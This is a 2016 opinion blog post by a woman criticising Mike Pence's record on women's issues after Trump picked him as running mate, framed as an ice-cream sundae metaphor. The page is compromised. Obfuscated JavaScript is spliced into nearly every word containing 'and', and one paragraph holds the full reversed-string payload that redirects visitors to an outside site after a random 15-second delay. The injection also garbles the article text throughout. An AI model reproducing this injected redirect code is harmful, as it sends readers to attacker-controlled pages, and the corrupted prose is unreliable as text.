Pence-ive Thoughts on an Ice Cream Sundae

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The political landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape that will be the 2016 Presidential Campaign is a little more clear now that the presumptive Republican nominee Donald Trump has chosen his running mate. Indiana Governor Mike Pence got the “You’re hired” nod from the former “Apprentice” host … or the final rose – depending on what your brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of reality show is.

For me – the name “Mike Pence” evoked no strong emotions. It was like hearing Trump liked vanilla ice cream instead of the faddish salted caramel. That was until I learned more about Governor Pence andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the secret ingredients that make up his brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of vanilla.

Remember the Disney film Mulan? Pence >>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andrewkaczynski/mister-ill-make-a-man-out-of-you?utm_term=.mhvPe0Mb3k#.rtJn8GWg2b”>wrote an op-ed that argued the cartoon was liberal propagandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda to encourage a debate over women serving in the military.

>>Here’s another one. As Governor, Pence has endorsed conservative legislation on abortion in his state. Specifically he signed one of the nation’s most stringent laws on abortion, banning the procedure on fetuses diagnosed with Down syndrome or any other disability. (A judge has since struck down portions of the law andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Indiana ACLU is challenging other provisions.) While in Congress, he attempted to shut down the government over Planned Parenthood funding.

It’s your decision to make at the ballot box in November – but it’s worth noting the Presidential candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidate who has a professional track record of misogynistic comments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and actions chose a running mate with a legislative track record to match.

As a woman, it’s disappointing to me that these two men with a history of sexist behavior andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and policy even have a snow balls chance of making it to the White House. I know conservatives had more qualified candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidates that more accurately andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fairly represented the ideals of their party.

Beyond that, if you’re thinking – “who cares? Trump doesn’t have my vote anyway.” Fair point – but what if that vanilla ice cream with sprinkles of racism, hot fudge of hate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a sexist cherry on top makes it to the White House? It’s a reason as women to get engaged in the political process andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and encourage our friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and neighbors to do the same. 

Ask questions of local andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and national candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidates about where they standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when it comes to issues that impact women. Health care, education, business development, equal pay … matters at every level of government. As for my ice cream flavor, I’m going for Ben andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jerry’s Empower Mint.

 




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